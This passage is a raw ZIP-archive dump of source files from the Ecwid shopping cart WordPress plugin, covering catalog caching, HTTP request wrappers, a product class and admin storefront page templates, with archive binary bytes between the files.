self::PRODUCTS_CACHE_VALID_FROM ), EcwidPlatform::get( self::PROFILE_CACHE_VALID_FROM ), EcwidPlatform::get( self::FORCES_CATALOG_CACHE_RESET_VALID_FROM ) ); self::cache_log_record( 'get_from_catalog_cache', array( 'name' => $key, 'result' => $result, 'valid_from' => $valid_from ) ); if ( $result && EcwidPlatform::get( self::CATALOG_CACHE_VALID_FROM ) > $valid_from ) { return $result['data']; } return false; } static public function is_catalog_cache_trusted() { $valid_from = max( EcwidPlatform::get( self::CATEGORIES_CACHE_VALID_FROM ), EcwidPlatform::get( self::PRODUCTS_CACHE_VALID_FROM ), EcwidPlatform::get( self::PROFILE_CACHE_VALID_FROM ) ); self::cache_log_record( 'is_trusted', array( 'result' => time() - $valid_from > 10, 'time' => time(), 'cats' => EcwidPlatform::get( self::CATEGORIES_CACHE_VALID_FROM ), 'prods' => EcwidPlatform::get( self::PRODUCTS_CACHE_VALID_FROM ))); return time() - $valid_from > 10; } static protected function _build_cache_name( $url, $type ) { return $type . '_' . md5($url); } static protected function _invalidate_cache_from( $name, $time ) { $time = is_null( $time ) ? time() : $time; $old = EcwidPlatform::get( $name ); if ( $old > $time) return; EcwidPlatform::set( $name, $time ); self::cache_log_record( 'invalidate_cache_' . $name, array( 'time' => $time ) ); } static public function invalidate_products_cache_from( $time = null ) { self::_invalidate_cache_from( self::PRODUCTS_CACHE_VALID_FROM, $time ); } static public function invalidate_categories_cache_from( $time = null ) { self::_invalidate_cache_from( self::CATEGORIES_CACHE_VALID_FROM, $time ); } static public function invalidate_profile_cache_from( $time = null ) { self::_invalidate_cache_from( self::PROFILE_CACHE_VALID_FROM, $time ); } static public function invalidate_catalog_cache_from( $time = null ) { self::_invalidate_cache_from( self::CATALOG_CACHE_VALID_FROM, $time ); } static public function force_catalog_cache_reset( $time = null ) { $time = is_null( $time ) ? time() : $time; EcwidPlatform::set( self::FORCES_CATALOG_CACHE_RESET_VALID_FROM, $time ); } static public function is_need_clear_transients() { global $wpdb; $sql = " SELECT COUNT(*) FROM {$wpdb->options} WHERE option_name LIKE '\_transient\_ecwid\_%' "; $count_transients = $wpdb->get_var($sql); if( $count_transients >= self::TRANSIENTS_LIMIT ) { return true; } return false; } static public function clear_all_transients() { global $wpdb; $sql = " DELETE FROM {$wpdb->options} WHERE option_name LIKE '\_transient\_ecwid\_%' OR option_name LIKE '\_transient\_timeout\_ecwid\_%' "; $wpdb->query($sql); } } add_filter('http_api_transports', array('EcwidPlatform', 'http_api_transports')); PK������Ê—[d:¹!“��“��-��ecwid-shopping-cart/lib/ecwid_product_api.phpnu�„[µü¤��������<?php /* * This API is deprecated. Please use the official Ecwid API to extend your plugin functionality: * https://developers.ecwid.com/api-documentation * If you have any feedback on the Ecwid WordPress plugin or the Ecwid API, please contact us at plugins-feedback@ecwid.com */ _deprecated_file( basename( __FILE__ ), '6.8.1', 'the official API (https://developers.ecwid.com/api-documentation)' ); class EcwidProductApi { function __construct($store_id) { _deprecated_function( __FUNCTION__, '6.8.1' ); } function get_request($url) { _deprecated_function( __FUNCTION__, '6.8.1' ); } function process_request($url) { _deprecated_function( __FUNCTION__, '6.8.1' ); } function get_all_categories() { _deprecated_function( __FUNCTION__, '6.8.1' ); } function get_subcategories_by_id($parent_category_id = 0) { _deprecated_function( __FUNCTION__, '6.8.1' ); } function get_all_products() { _deprecated_function( __FUNCTION__, '6.8.1' ); } function get_products_by_category_id($category_id = 0) { _deprecated_function( __FUNCTION__, '6.8.1' ); } function get_product($product_id) { _deprecated_function( __FUNCTION__, '6.8.1' ); } function get_product_https($product_id) { _deprecated_function( __FUNCTION__, '6.8.1' ); } function get_category($category_id) { _deprecated_function( __FUNCTION__, '6.8.1' ); } function get_batch_request($params) { _deprecated_function( __FUNCTION__, '6.8.1' ); } function get_random_products($count) { _deprecated_function( __FUNCTION__, '6.8.1' ); } function get_profile() { _deprecated_function( __FUNCTION__, '6.8.1' ); } function is_api_enabled() { _deprecated_function( __FUNCTION__, '6.8.1' ); } function get_method_response_stream($method) { _deprecated_function( __FUNCTION__, '6.8.1' ); } } ?>PK������Ê—[4îÀ†% ��% ��)��ecwid-shopping-cart/lib/ecwid_product.phpnu�„[µü¤��������<?php require_once dirname(__FILE__) . '/ecwid_catalog_entry.php'; class Ecwid_Product extends Ecwid_Catalog_Entry { protected static $products = array(); protected $_cache_name_prefix = 'ecwid-product-'; protected $_link_prefix = 'p'; public static function get_by_id( $id ) { $p = new Ecwid_Product(); $product_data = $p->_get_from_cache( $id ); if ( !$product_data ) { $p->_load($id); if ( !$p->_data ) { return null; } $p->_persist(); } else { $p->_data = $product_data; } return $p; } public static function get_random_product() { $total = EcwidPlatform::get_from_products_cache( 'ecwid_total_products' ); $all_products = false; if ( $total < 100 && $total > 0 && EcwidPlatform::get_from_products_cache( 'ecwid_all_products_request' ) ) { $all_products = EcwidPlatform::get_from_products_cache( EcwidPlatform::get_from_products_cache( 'ecwid_all_products_request' ) ); } if ( $all_products ) { $index = rand( 0, $total - 1 ); $result = json_decode( $all_products['data'] ); $random_product_id = $result->items[$index]->id; } else { $index = rand( 0, $total ); $offset = floor($index / 100) * 100; $api = new Ecwid_Api_V3(); $result = $api->search_products( array( 'offset' => $offset ) ); if ( !@$result->items ) { return null; } if( count($result->items) < ($index - $offset) ) { $random_product = current($result->items); $random_product_id = $random_product->id; } else { $random_product_id = $result->items[$index - $offset]->id; } } return Ecwid_Product::get_by_id( $random_product_id ); } public static function get_without_loading($id, $fallback_object = null) { $p = new Ecwid_Product(); $product_data = $p->_get_from_cache( $id ); if ( !$product_data ) { if ( $fallback_object ) { $product_data = $fallback_object; } else { $product_data = new stdClass(); } $product_data->id = $id; } $p->_data = $product_data; return $p; } public static function init_from_stdclass( $data ) { $p = new Ecwid_Product(); $p->_data = $data; $p->_persist(); return $p; } public static function preload_by_ids($ids) { if ( !is_array( $ids ) || empty( $ids ) || !Ecwid_Api_V3::is_available() ) { return; } $ids_string = implode( ',', $ids ); $api = new Ecwid_Api_V3(); $data = $api->search_products( array( 'productId' => $ids_string ) ); if ($data && $data->count > 0) { foreach($data->items as $product_data){ $p = new Ecwid_Product(); $p->_data = $product_data; $p->_persist(); } } } protected function _get_from_cache( $id ) { return EcwidPlatform::get_from_products_cache( $this->_get_cache_key_by_id( $id ) ); } protected function _load( $id ) { $data = null; if ( Ecwid_Api_V3::is_available() ) { $api = new Ecwid_Api_V3(); $data = $api->get_product($id); if ( $data && Ecwid_Seo_Links::is_enabled() ) { $data->seo_link = $data->url; } } if ($data) { $this->_data = $data; } return $data; } protected function _persist() { if ( !property_exists( $this->_data, 'id' ) ) { return; } EcwidPlatform::store_in_products_cache( $this->_get_cache_key_by_id( $this->_data->id ), $this->_data ); } }PK������Ê—[%ñ¿¸+��+��*��ecwid-shopping-cart/lib/ecwid_requests.phpnu�„[µü¤��������<?php abstract class Ecwid_Http { protected $name = ''; protected $url = ''; protected $policies; protected $error_message = ''; protected $raw_result; protected $processed_data; protected $timeout; protected $jsonp_callback = null; protected $code; protected $message; protected $headers; public $is_error = false; public $error; const TRANSPORT_CHECK_EXPIRATION = 86400; /** * No error handling whatsoever */ const POLICY_IGNORE_ERRORS = 'ignore_errors'; /** * Data sent and received will be treated like jsonp */ const POLICY_RETURN_JSON = 'return_json'; /** * Data received will be interpreted as json array */ const POLICY_RETURN_JSON_ARRAY = 'expect_json_array'; /** * Data sent and received will be treated like jsonp */ const POLICY_EXPECT_JSONP = 'expect_jsonp'; /** * Returns all response data with headers and such instead of data only */ const POLICY_RETURN_VERBOSE = 'return_verbose'; abstract protected function _do_request($url, $args); public function __construct($name, $url, $policies) { $this->name = $name; $this->url = $url; $this->policies = $policies; } public function get_response_meta() { return array( 'data' => $this->raw_result, 'code' => $this->code, 'message' => $this->message, 'headers' => $this->headers ); } public function do_request($args = array()) { $url = $this->_preprocess_url($this->url); $data = $this->_do_request($url, $args); if ( is_null( $data ) || $this->is_error ) { if( is_wp_error($data) ) { ecwid_log_error( $data->get_error_message('http_request_failed') ); } return null; } $this->_process_data($data); return $this->processed_data; } public static function create_get($name, $url, $params) { $transport_class = self::_get_transport(); $transport = new $transport_class($name, $url, $params); return $transport; } public static function create_post($name, $url, $params) { $transport_class = self::_post_transport(); $transport = new $transport_class($name, $url, $params); return $transport; } protected static function _set_transport_for_request($name, $transport) { EcwidPlatform::set('get_transport_' . $name, $transport); } protected static function _get_transport_for_request($name) { return EcwidPlatform::get('get_transport_' . $name); } protected static function _get_transport() { return 'Ecwid_HTTP_Get_WpRemoteGet'; } protected static function _post_transport() { return 'Ecwid_HTTP_Post_WpRemotePost'; } protected function _trigger_error() { $this->is_error = true; $this->error = $this->raw_result; self::_set_transport_for_request($this->name, null); if ( $this->_has_policy(self::POLICY_IGNORE_ERRORS) ) { return false; } return true; } protected function _has_policy( $policy ) { return in_array( $policy, $this->policies ); } protected function _process_data($raw_data) { $result = $raw_data; if ( in_array( self::POLICY_EXPECT_JSONP, $this->policies ) ) { $prefix_length = strlen($this->jsonp_callback . '('); $suffix_length = strlen(');'); $result = substr($raw_data, $prefix_length, strlen($result) - $suffix_length - $prefix_length - 1); $result = json_decode($result); } if ( in_array( self::POLICY_RETURN_JSON_ARRAY, $this->policies ) ) { $result = json_decode($raw_data, true); } if ( in_array( self::POLICY_RETURN_JSON, $this->policies ) ) { $result = json_decode($raw_data); } if ( $this->_has_policy( self::POLICY_RETURN_VERBOSE ) ) { $result = $this->get_response_meta(); $result['data'] = $raw_data; } $this->processed_data = $result; } protected function _preprocess_url($url) { if ( in_array( 'expect_jsonp', $this->policies ) ) { $this->jsonp_callback = 'jsoncallback' . time(); $url .= '&callback=' . $this->jsonp_callback; } return $url; } } abstract class Ecwid_HTTP_Get extends Ecwid_Http { protected function _trigger_error() { $continue = parent::_trigger_error(); if (!$continue) { return false; } update_option('ecwid_remote_get_fails', 1); ecwid_log_error($this->message); } } class Ecwid_HTTP_Get_WpRemoteGet extends Ecwid_HTTP_Get { protected function _do_request($url, $args) { $this->raw_result = wp_remote_get( $url, $args ); if (is_wp_error($this->raw_result)) { $this->error = $this->raw_result; $this->_trigger_error(); return $this->raw_result; } $this->code = $this->raw_result['response']['code']; $this->message = $this->raw_result['response']['message']; $this->headers = $this->raw_result['headers']; return $this->raw_result['body']; } protected function _trigger_error() { if (is_wp_error($this->error)) { $a = new WP_Error; $this->error_message = $this->error->get_error_message(); } return parent::_trigger_error(); } } abstract class Ecwid_HTTP_Post extends Ecwid_Http { } class Ecwid_HTTP_Post_WpRemotePost extends Ecwid_Http_Post { protected function _do_request($url, $args) { $this->raw_result = wp_remote_post( $url, $args ); if (is_wp_error($this->raw_result)) { $this->_trigger_error(); return $this->raw_result; } $this->code = $this->raw_result['response']['code']; $this->message = $this->raw_result['response']['message']; $this->headers = $this->raw_result['headers']; return $this->raw_result['body']; } }PK������Ê—[Úûñq`)��`)��B��ecwid-shopping-cart/templates/admin/storefront/area-additional.phpnu�„[µü¤��������<div class="named-area" data-ec-state="publish draft"> <div class="named-area__header"> <div class="named-area__titles"><div class="named-area__title"><?php _e( 'Additional store pages', 'ecwid-shopping-cart'); ?></div></div> <div class="named-area__description"><?php _e( 'Highlight products, categories, and other store pages by adding them to separate website pages.', 'ecwid-shopping-cart'); ?></div> </div> <div class="named-area__body"> <div class="a-card a-card--compact"> <div class="a-card__paddings"> <div class="iconable-block iconable-block--hide-in-mobile"> <div class="iconable-block__infographics"> <span class="iconable-block__icon"> <?php ecwid_embed_svg( 'admin-storefront/icons/cart-checkout' ); ?> </span> </div> <div class="iconable-block__content"> <div class="cta-block"> <div class="cta-block__central"> <div class="cta-block__title"><?php _e( 'Add cart and checkout page', 'ecwid-shopping-cart'); ?></div> <div class="cta-block__content"> <?php _e( 'Customers go to the cart page to review products they’ve added to the cart and proceed to the checkout.', 'ecwid-shopping-cart'); ?> </div> </div> <div class="cta-block__cta"> <a href="#" class="btn btn-default btn-medium" data-storefront-create-page="cart"><?php _e( 'Create Cart Page', 'ecwid-shopping-cart'); ?></a> </div> </div> </div> </div> </div> </div> <div class="a-card a-card--compact"> <div class="a-card__paddings"> <div class="iconable-block iconable-block--hide-in-mobile"> <div class="iconable-block__infographics"> <span class="iconable-block__icon"> <?php ecwid_embed_svg( 'admin-storefront/icons/search-filters' ); ?> </span> </div> <div class="iconable-block__content"> <div class="cta-block"> <div class="cta-block__central"> <div class="cta-block__title"><?php _e( 'Add a search and filters page', 'ecwid-shopping-cart'); ?></div> <div class="cta-block__content"> <?php _e( 'Show customers that they can use a search and filters to find desired products faster.', 'ecwid-shopping-cart'); ?> </div> </div> <div class="cta-block__cta"> <a href="#" class="btn btn-default btn-medium" data-storefront-create-page="search"><?php _e( 'Create Search Page', 'ecwid-shopping-cart'); ?></a> </div> </div> </div> </div> </div> </div> <div class="a-card a-card--compact"> <div class="a-card__paddings"> <div class="iconable-block iconable-block--hide-in-mobile"> <div class="iconable-block__infographics"> <span class="iconable-block__icon"> <?php ecwid_embed_svg( 'admin-storefront/icons/category' ); ?> </span> </div> <div class="iconable-block__content"> <div class="cta-block"> <div class="cta-block__central"> <div class="cta-block__title"><?php _e( 'Add a category page', 'ecwid-shopping-cart'); ?></div> <div class="cta-block__content"> <?php if( $categories && count($categories) > 0 && count($categories) <= 100 ) { _e( 'Feature a specific store category on a separate page of your site.', 'ecwid-shopping-cart'); } else { _e( 'Feature a specific store category on a separate page of your site.', 'ecwid-shopping-cart'); } ?> </div> </div> <div class="cta-block__cta"> <?php if( $categories && count($categories) > 0 && count($categories) <= 100 ) { ?> <div class="btn-group dropdown-toggle drop-right"> <button data-storefront-create-page="category" type="button" class="btn btn-default btn-medium" aria-hidden="true" style="display: none;"></button> <div class="btn btn-default btn-dropdown btn-medium list-dropdown-no-general-text"> <span class="btn-dropdown-container"> <span class="actions"><?php _e( 'Pick Category', 'ecwid-shopping-cart'); ?></span> </span> <span class="icon-arr-down"></span> </div> <div class="list-dropdown list-dropdown-medium list-dropdown-scroll"> <ul> <?php foreach( $categories as $category ) {?> <li data-storefront-create-page="category" data-storefront-item-id="<?php echo $category->id?>" ><a><?php echo $category->name?></a></li> <?php } ?> </ul> </div> </div> <?php } else {?> <a href="#" class="btn btn-default btn-medium" data-storefront-create-page="category"><?php _e( 'Create Category Page', 'ecwid-shopping-cart'); ?></a> <?php } ?> </div> </div> </div> </div> </div> </div> <div class="a-card a-card--compact"> <div class="a-card__paddings"> <div class="iconable-block iconable-block--hide-in-mobile"> <div class="iconable-block__infographics"> <span class="iconable-block__icon"> <?php ecwid_embed_svg( 'admin-storefront/icons/product' ); ?> </span> </div> <div class="iconable-block__content"> <div class="cta-block"> <div class="cta-block__central"> <div class="cta-block__title"><?php _e( 'Add a product page', 'ecwid-shopping-cart'); ?></div> <div class="cta-block__content"> <?php if( $products_total > 0 && $products_total <= 100 ) { _e( 'Create a landing page featuring one of your products.', 'ecwid-shopping-cart'); } else { _e( 'Create a landing page featuring one of your products.', 'ecwid-shopping-cart'); } ?> </div> </div> <div class="cta-block__cta"> <?php if( $products_total > 0 && $products_total <= 100 ) { ?> <div class="btn-group dropdown-toggle drop-right"> <button data-storefront-create-page="category" type="button" class="btn btn-default btn-medium" aria-hidden="true" style="display: none;"></button> <div class="btn btn-default btn-dropdown btn-medium list-dropdown-no-general-text"> <span class="btn-dropdown-container"> <span class="actions"><?php _e( 'Pick Product', 'ecwid-shopping-cart'); ?></span> </span> <span class="icon-arr-down"></span> </div> <div class="list-dropdown list-dropdown-medium list-dropdown-scroll"> <ul> <?php foreach( $products as $product ) {?> <li data-storefront-create-page="product" data-storefront-item-id="<?php echo $product->id?>" ><a><?php echo $product->name?></a></li> <?php } ?> </ul> </div> </div> <?php } else {?> <a href="#" class="btn btn-default btn-medium" data-storefront-create-page="product"><?php _e( 'Create Product Page', 'ecwid-shopping-cart'); ?></a> <?php } ?> </div> </div> </div> </div> </div> </div> <div class="a-card a-card--compact"> <div class="a-card__paddings"> <div class="iconable-block iconable-block--hide-in-mobile"> <div class="iconable-block__infographics"> <span class="iconable-block__icon"> <?php ecwid_embed_svg( 'admin-storefront/icons/add-another-page' ); ?> </span> </div> <div class="iconable-block__content"> <div class="cta-block"> <div class="cta-block__central"> <div class="cta-block__title"><?php _e( 'Add your store to other site pages', 'ecwid-shopping-cart'); ?></div> <div class="cta-block__content"> <?php echo sprintf( __( 'You can add the entire storefront, categories, products, or "Buy now" buttons to other pages on your site. To do that, open a page in the editor and add an appropriate %s block.', 'ecwid-shopping-cart'), Ecwid_Config::get_brand() ); ?> </div> </div> <div class="cta-block__cta"> <a href="<?php echo admin_url( 'edit.php?post_type=page' ); ?>" target="_blank" class="btn btn-default btn-medium"><?php _e( 'Go to Pages', 'ecwid-shopping-cart'); ?></a> </div> </div> </div> </div> </div> </div> <?php if( $store_pages ) { ?> <div class="a-card a-card--compact"> <div class="a-card__paddings"> <div class="iconable-block iconable-block--hide-in-mobile"> <div class="iconable-block__infographics"> <span class="iconable-block__icon"> <?php ecwid_embed_svg( 'admin-storefront/icons/choose-main-page' ); ?> </span> </div> <div class="iconable-block__content"> <div class="cta-block"> <div class="cta-block__central"> <div class="cta-block__title"><?php _e( 'Choose the main store page', 'ecwid-shopping-cart'); ?></div> <div class="cta-block__content"> <?php _e( 'Your store is added to several pages on the site. Choose the main page. Customers are directed to the main store page when they click on the cart icon, store links in the site menu, and products in the sidebar.', 'ecwid-shopping-cart'); ?> </div> <div class="cta-block__content"> <div class="fieldset fieldset--select fieldset--no-label"> <div class="field field--medium field--filled"> <select class="field__select" data-storefront-save-main-page="1"> <?php foreach ( $store_pages as $id ): ?> <option value="<?php echo $id; ?>" <?php if ( $id == $page_id ): ?> selected="selected" <?php endif; ?> ><?php esc_html_e( get_post( $id )->post_title ); ?></option> <?php endforeach; ?> </select> <span class="field__arrow"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 26 26" focusable="false"><path d="M7.85 10l5.02 4.9 5.27-4.9c.65-.66 1.71-.66 2.36 0 .65.67.65 1.74 0 2.4l-6.45 6.1c-.33.33-.76.5-1.18.5-.43 0-.86-.17-1.18-.5l-6.21-6.1c-.65-.66-.65-1.74 0-2.41.66-.65 1.72-.65 2.37.01z"></path></svg></span> </div> </div> </div> </div> <div class="cta-block__cta"></div> </div> </div> </div> </div> </div> <?php } ?> </div> </div>PK������Ê—[òÙ^L ��L ��>��ecwid-shopping-cart/templates/admin/storefront/area-design.phpnu�„[µü¤��������<div class="named-area" data-ec-state="publish draft"> <div class="named-area__header"> <div class="named-area__titles"><div class="named-area__title"><?php _e( 'Design and content', 'ecwid-shopping-cart'); ?></div></div> <div class="named-area__description"><?php _e( 'Personalize your storefront\'s appearance and edit the content on the store page to reflect your brand and stay connected with your customers.', 'ecwid-shopping-cart'); ?></div> </div> <div class="named-area__body"> <div class="a-card a-card--compact"> <div class="a-card__paddings"> <div class="iconable-block"> <div class="iconable-block__infographics"> <span class="iconable-block__icon"> <?php ecwid_embed_svg( 'admin-storefront/icons/site-appearance' ); ?> </span> </div> <div class="iconable-block__content"> <div class="cta-block"> <div class="cta-block__central"> <div class="cta-block__title"><?php _e( 'Store appearance', 'ecwid-shopping-cart'); ?></div> <div class="cta-block__content"> <?php if( self::is_gutenberg_active() ) { _e( 'Adjust your store design to fit your business needs.', 'ecwid-shopping-cart'); } else { _e( 'Adjust your store design to fit your business needs.', 'ecwid-shopping-cart'); } ?> </div> </div> <div class="cta-block__cta"> <a href="<?php echo $design_edit_link;?>" target="_blank" class="btn btn-default btn-medium"><?php _e( 'Edit', 'ecwid-shopping-cart'); ?></a> </div> </div> </div> </div> </div> </div> <div class="a-card a-card--compact"> <div class="a-card__paddings"> <div class="iconable-block"> <div class="iconable-block__infographics"> <span class="iconable-block__icon"> <?php ecwid_embed_svg( 'admin-storefront/icons/site-content' ); ?> </span> </div> <div class="iconable-block__content"> <div class="cta-block"> <div class="cta-block__central"> <div class="cta-block__title"><?php _e( 'Store page content', 'ecwid-shopping-cart'); ?></div> <div class="cta-block__content"><?php _e( 'Along with the store catalog, you can add other widgets and texts to the store page.', 'ecwid-shopping-cart'); ?></div> </div> <div class="cta-block__cta"> <a href="<?php echo $page_edit_link; ?>" target="_blank" class="btn btn-default btn-medium"> <?php _e( 'Edit', 'ecwid-shopping-cart'); ?> </a> </div> </div> </div> </div> </div> </div> </div> </div>PK������Ê—[i¼åÈå$��å$��B��ecwid-shopping-cart/templates/admin/storefront/area-navigation.phpnu�„[µü¤��������<div class="named-area" data-ec-state="publish draft"> <div class="named-area__header"> <div class="named-area__titles"><div class="named-area__title"><?php _e( 'Navigation', 'ecwid-shopping-cart'); ?></div></div> <div class="named-area__description"><?php _e( 'Help customers find your store on the website.', 'ecwid-shopping-cart'); ?></div> </div> <div class="named-area__body"> <div class="a-card a-card--compact" data-ec-storefront-disabled-card="draft"> <div class="a-card__paddings"> <div class="iconable-block iconable-block--hide-in-mobile"> <div class="iconable-block__infographics"> <span class="iconable-block__icon"> <?php ecwid_embed_svg( 'admin-storefront/icons/store-on-home-page' ); ?> </span> </div> <div class="iconable-block__content"> <div class="cta-block"> <div class="cta-block__central"> <div class="cta-block__title"><?php _e( 'Show your store on the home page', 'ecwid-shopping-cart'); ?></div> <div class="cta-block__content"> <?php require self::$templates_dir . '/draft-message.php'; ?> <div><?php echo sprintf( __( 'Add your storefront to the website home page to make it more prominent. You can also tweak the site home page settings in <a href="%s" target="_blank">WordPress Settings > Reading</a>', 'ecwid-shopping-cart'), admin_url( 'options-reading.php' ) ); ?></div> </div> </div> <div class="cta-block__cta"> <label class="checkbox big"> <input name="" type="checkbox" <?php if($store_on_front){?>checked=""<?php }?> data-storefront-checkbox="store_on_front"> <div data-on="enabled" data-off="disabled"> <div></div> </div> <span class="checkbox__on-text-placeholder">enabled</span> <span class="checkbox__off-text-placeholder">disabled</span> </label> </div> </div> </div> </div> </div> </div> <?php if( Ecwid_Seo_Links::is_feature_available() ) {?> <div class="a-card a-card--normal" data-storefront-card="change-link-form" style="display: none;"> <div class="a-card__paddings"> <div class="form-area"> <div class="form-area__title"><?php _e( 'Customize store page address', 'ecwid-shopping-cart'); ?></div> <div class="form-area__content"> <div class="fieldsets-batch"> <?php _e( 'A slug is the last part of a URL. You can create a custom slug for your store page. It’s better to keep it short since customers and search engines prefer short URLs. For example, use "/shop" or "/products".', 'ecwid-shopping-cart'); ?> </div> <div class="fieldsets-batch"> <div class="fieldset fieldset--no-label fieldset--with-prefix"> <div class="fieldset__field-wrapper"> <div class="field field--medium"> <label class="field__label"></label> <input type="text" class="field__input" maxlength="64" name="post_name" value="<?php echo $page_slug; ?>" data-ec-store-slug-input="1"> <div class="field__placeholder"><?php _e( 'URL Slug', 'ecwid-shopping-cart' ); ?></div> </div> <div class="fieldset__field-prefix"><?php echo get_site_url();?>/</div> </div> <div class="field__error" aria-hidden="true" style="display: none;"></div> </div> </div> </div> <div class="form-area__action"> <button type="button" class="btn btn-primary btn-medium" data-storefront-save-slug><?php _e( 'Save', 'ecwid-shopping-cart' ); ?></button> <button type="button" class="btn btn-link btn-medium" data-storefront-show-card="change-link"><?php _e( 'Cancel', 'ecwid-shopping-cart' ); ?></button> </div> </div> </div> </div> <div class="a-card a-card--compact" data-storefront-card="change-link" data-ec-storefront-disabled-card="draft"> <div class="a-card__paddings"> <div class="iconable-block iconable-block--hide-in-mobile"> <div class="iconable-block__infographics"> <span class="iconable-block__icon"> <?php ecwid_embed_svg( 'admin-storefront/icons/customize-page-link' ); ?> </span> </div> <div class="iconable-block__content"> <div class="cta-block"> <div class="cta-block__central"> <div class="cta-block__title"><?php _e( 'Customize store page address', 'ecwid-shopping-cart'); ?></div> <div class="cta-block__content" data-ec-state="publish"> <b><?php echo sprintf( __( 'Current URL slug: /<span data-ec-store-slug>%s</span>', 'ecwid-shopping-cart' ), $page_slug ); ?></b> </div> <div class="cta-block__content"> <?php require self::$templates_dir . '/draft-message.php'; ?> <?php _e( 'A slug is the last part of a URL. You can create a custom slug for your store page. It’s better to keep it short since customers and search engines prefer short URLs. For example, use "/shop" or "/products".', 'ecwid-shopping-cart'); ?> </div> </div> <div class="cta-block__cta"> <a href="<?php echo $page_edit_link; ?>" target="_blank" class="btn btn-default btn-medium" data-storefront-show-card="change-link-form"><?php _e( 'Edit URL Slug', 'ecwid-shopping-cart'); ?></a> </div> </div> </div> </div> </div> </div> <?php } ?> <div class="a-card a-card--compact" data-ec-storefront-disabled-card="draft"> <div class="a-card__paddings"> <div class="iconable-block iconable-block--hide-in-mobile"> <div class="iconable-block__infographics"> <span class="iconable-block__icon"> <?php ecwid_embed_svg( 'admin-storefront/icons/add-page-to-menu' ); ?> </span> </div> <div class="iconable-block__content"> <div class="cta-block"> <div class="cta-block__central"> <div class="cta-block__title"><?php _e( 'Add store page to the site menu', 'ecwid-shopping-cart'); ?></div> <div class="cta-block__content"> <?php require self::$templates_dir . '/draft-message.php'; ?> <div><?php _e( 'Make your store accessible from the site menu so your customers can easily find it.', 'ecwid-shopping-cart'); ?></div> </div> </div> <div class="cta-block__cta"> <a href="<?php echo admin_url('nav-menus.php'); ?>" target="_blank" class="btn btn-default btn-medium"><?php _e( 'Add Store Page to Menu', 'ecwid-shopping-cart'); ?></a> </div> </div> </div> </div> </div> </div> <div class="a-card a-card--compact"> <div class="a-card__paddings"> <div class="iconable-block iconable-block--hide-in-mobile"> <div class="iconable-block__infographics"> <span class="iconable-block__icon"> <?php ecwid_embed_svg( 'admin-storefront/icons/feature-sidebar' ); ?> </span> </div> <div class="iconable-block__content"> <div class="cta-block"> <div class="cta-block__central"> <div class="cta-block__title"><?php _e( 'Feature your products in the sidebar', 'ecwid-shopping-cart'); ?></div> <div class="cta-block__content"> <?php _e( 'Highlight your best sellers or new products in the website sidebar.', 'ecwid-shopping-cart'); ?> </div> </div> <div class="cta-block__cta"> <a href="<?php echo admin_url( 'widgets.php?highlight-ec-widgets=1' );?>" target="_blank" class="btn btn-default btn-medium"><?php _e( 'Manage Sidebar', 'ecwid-shopping-cart'); ?></a> </div> </div> </div> </div> </div> </div> <?php if( class_exists( 'Ecwid_Floating_Minicart' ) ) {?> <div class="a-card a-card--compact"> <div class="a-card__paddings"> <div class="iconable-block iconable-block--hide-in-mobile"> <div class="iconable-block__infographics"> <span class="iconable-block__icon"> <?php ecwid_embed_svg( 'admin-storefront/icons/show-shopping-cart-icon' ); ?> </span> </div> <div class="iconable-block__content"> <div class="cta-block"> <div class="cta-block__central"> <div class="cta-block__title"><?php _e( 'Display the shopping cart icon on site pages', 'ecwid-shopping-cart'); ?></div> <div class="cta-block__content"> <?php echo sprintf( __( 'The shopping cart icon shows the number of items in the cart and helps customers proceed to the checkout. Additionally, you can <a href="%s" target="_blank">adjust the cart icon appearance</a>.', 'ecwid-shopping-cart'), $customizer_minicart_link ); ?> </div> </div> <div class="cta-block__cta"> <label class="checkbox big"> <input name="" type="checkbox" <?php if(!$minicart_hide) {?>checked=""<?php } ?> data-storefront-checkbox="display_cart_icon"> <div data-on="enabled" data-off="disabled"> <div></div> </div> <span class="checkbox__on-text-placeholder">enabled</span> <span class="checkbox__off-text-placeholder">disabled</span> </label> </div> </div> </div> </div> </div> </div> <?php } ?> </div> </div>PK������Ê—[™Ä‡¤f��f��=��ecwid-shopping-cart/templates/admin/storefront/area-promo.phpnu�„[µü¤��������<div class="named-area" data-ec-state="demo no-pages"> <div class="named-area__header"> <div class="named-area__titles"><div class="named-area__title"><?php _e( "What's next?" , 'ecwid-shopping-cart'); ?></div></div> <div class="named-area__description"> <?php echo sprintf( __( 'Add your %s store to the website and start selling in minutes.', 'ecwid-shopping-cart'), Ecwid_Config::get_brand() ); ?> </div> </div> <div class="named-area__body"> <div class="a-card a-card--compact"> <div class="a-card__paddings"> <div class="promo-row"> <div class="promo-row__content"> <ul class="titled-items-list titled-items-list--ordered"> <li class="titled-items-list__item titled-item"> <div class="titled-item__title"><?php _e( "Customize store appearance" , 'ecwid-shopping-cart'); ?></div> <div class="titled-item__content"><?php _e( "Customize your store’s appearance to fit your business needs. Give your store the exact look and feel that reflects your brand." , 'ecwid-shopping-cart'); ?></div> </li> <li class="titled-items-list__item titled-item"> <div class="titled-item__title"><?php _e( "Change store content" , 'ecwid-shopping-cart'); ?></div> <div class="titled-item__content"><?php _e( "Stay connected with your customers. Update the content of your store anytime to tell customers about ongoing promotions and what's new in your store." , 'ecwid-shopping-cart'); ?></div> </li> <li class="titled-items-list__item titled-item"> <div class="titled-item__title"><?php _e( "Promote your store" , 'ecwid-shopping-cart'); ?></div> <div class="titled-item__content"><?php _e( "Help customers find your store on the site. Add the store link to the site menu, create additional store pages, and highlight store products on other site pages and in sidebars." , 'ecwid-shopping-cart'); ?></div> </li> </ul> </div> <div class="promo-row__image"><img src="<?php echo esc_attr( ECWID_PLUGIN_URL ); ?>/images/admin-storefront/customize-promo.png"></div> </div> </div> </div> </div> </div>PK������Ê—[œáv9��9��>��ecwid-shopping-cart/templates/admin/storefront/area-status.phpnu�„[µü¤��������<div class="named-area"> <div class="named-area__header"> <div class="named-area__titles"> <div class="named-area__title"><?php _e('Store page on your site', 'ecwid-shopping-cart'); ?></div> <div class="named-area__subtitle" data-ec-state="demo"> <?php _e( 'While your store is not connected, a demo store displays on your site. Check it to get the idea of how your store may look on the site.', 'ecwid-shopping-cart' ); ?> </div> <div class="named-area__subtitle" data-ec-state="no-pages"> <?php _e( 'To start selling, add a page to your site where the storefront will display.', 'ecwid-shopping-cart' ); ?> </div> </div> </div> <div class="named-area__body"> <div class="a-card a-card--normal"> <div class="a-card__paddings"> <div class="feature-element has-picture"> <div class="feature-element__core"> <div class="feature-element__data"> <div class="feature-element__title" data-ec-state="publish draft"><?php 